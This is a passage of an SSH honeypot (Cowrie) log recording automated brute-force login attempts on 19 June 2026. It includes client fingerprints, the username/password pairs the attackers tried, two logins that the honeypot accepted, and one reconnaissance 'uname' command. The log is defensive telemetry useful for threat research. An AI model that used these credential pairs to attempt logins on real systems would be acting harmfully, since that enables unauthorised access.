ssage":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:22.276031Z","src_ip":"45.153.34.195","session":"3b72029f7878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cp","password":"cp","message":"login attempt [cp/cp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:22.547383Z","src_ip":"45.153.34.195","session":"3b72029f7878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:23.646508Z","src_ip":"45.153.34.195","session":"3b72029f7878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62734,"dst_ip":"10.17.0.5","dst_port":22,"session":"72154e0ec7c0","protocol":"ssh","message":"New connection: 45.153.34.195:62734 (10.17.0.5:22) [session: 72154e0ec7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:25.237036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:25.263843Z","src_ip":"45.153.34.195","session":"72154e0ec7c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:25.354106Z","src_ip":"45.153.34.195","session":"72154e0ec7c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"composer","password":"composer","message":"login attempt [composer/composer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:25.611954Z","src_ip":"45.153.34.195","session":"72154e0ec7c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:26.695593Z","src_ip":"45.153.34.195","session":"72154e0ec7c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62760,"dst_ip":"10.17.0.5","dst_port":22,"session":"e15958189944","protocol":"ssh","message":"New connection: 45.153.34.195:62760 (10.17.0.5:22) [session: e15958189944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:28.239829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:28.244939Z","src_ip":"45.153.34.195","session":"e15958189944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:28.343492Z","src_ip":"45.153.34.195","session":"e15958189944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":57292,"dst_ip":"10.17.0.5","dst_port":22,"session":"bec220855075","protocol":"ssh","message":"New connection: 101.36.122.139:57292 (10.17.0.5:22) [session: bec220855075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:28.457360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:28.464525Z","src_ip":"101.36.122.139","session":"bec220855075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":63996,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca8571995764","protocol":"ssh","message":"New connection: 23.175.50.51:63996 (10.17.0.5:22) [session: ca8571995764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:28.521251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:28.535271Z","src_ip":"23.175.50.51","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"12345678","message":"login attempt [bot/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:28.599216Z","src_ip":"45.153.34.195","session":"e15958189944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:28.682280Z","src_ip":"101.36.122.139","session":"bec220855075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:28.757431Z","src_ip":"23.175.50.51","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaZ2wsX","message":"login attempt [root/1qaZ2wsX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:29.588256Z","src_ip":"101.36.122.139","session":"bec220855075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:29.683414Z","src_ip":"45.153.34.195","session":"e15958189944","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:30.434358Z","src_ip":"23.175.50.51","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:30.807338Z","src_ip":"101.36.122.139","session":"bec220855075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62792,"dst_ip":"10.17.0.5","dst_port":22,"session":"68cafb0eda3d","protocol":"ssh","message":"New connection: 45.153.34.195:62792 (10.17.0.5:22) [session: 68cafb0eda3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:31.105012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:31.147469Z","src_ip":"45.153.34.195","session":"68cafb0eda3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:31.255360Z","src_ip":"45.153.34.195","session":"68cafb0eda3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"readonlyuser","password":"readonlyuser","message":"login attempt [readonlyuser/readonlyuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:31.725100Z","src_ip":"45.153.34.195","session":"68cafb0eda3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:32.808872Z","src_ip":"45.153.34.195","session":"68cafb0eda3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43622,"dst_ip":"10.17.0.5","dst_port":22,"session":"f10b555301c1","protocol":"ssh","message":"New connection: 45.153.34.195:43622 (10.17.0.5:22) [session: f10b555301c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:34.115847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:34.166180Z","src_ip":"45.153.34.195","session":"f10b555301c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:34.279163Z","src_ip":"45.153.34.195","session":"f10b555301c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345@","message":"login attempt [root/12345@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:34.848759Z","src_ip":"45.153.34.195","session":"f10b555301c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":53626,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a0dd502f0eb","protocol":"ssh","message":"New connection: 97.74.87.152:53626 (159.203.135.109:22) [session: 7a0dd502f0eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:35.764106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:35.768971Z","src_ip":"97.74.87.152","session":"7a0dd502f0eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:35.962735Z","src_ip":"45.153.34.195","session":"f10b555301c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:35.993566Z","src_ip":"97.74.87.152","session":"7a0dd502f0eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2b3c4d","message":"login attempt [root/1a2b3c4d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:36.928297Z","src_ip":"97.74.87.152","session":"7a0dd502f0eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43638,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0bddf21bbc6","protocol":"ssh","message":"New connection: 45.153.34.195:43638 (10.17.0.5:22) [session: f0bddf21bbc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:37.047822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:37.059861Z","src_ip":"45.153.34.195","session":"f0bddf21bbc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:37.272654Z","src_ip":"45.153.34.195","session":"f0bddf21bbc6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Bmw_20!_^","message":"login attempt [oracle/Bmw_20!_^] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:37.712179Z","src_ip":"45.153.34.195","session":"f0bddf21bbc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:37.986465Z","src_ip":"45.153.34.195","session":"f0bddf21bbc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:37.990589Z","src_ip":"45.153.34.195","session":"f0bddf21bbc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:38.085044Z","src_ip":"45.153.34.195","session":"f0bddf21bbc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:38.089937Z","src_ip":"45.153.34.195","session":"f0bddf21bbc6","protocol":"ssh"}
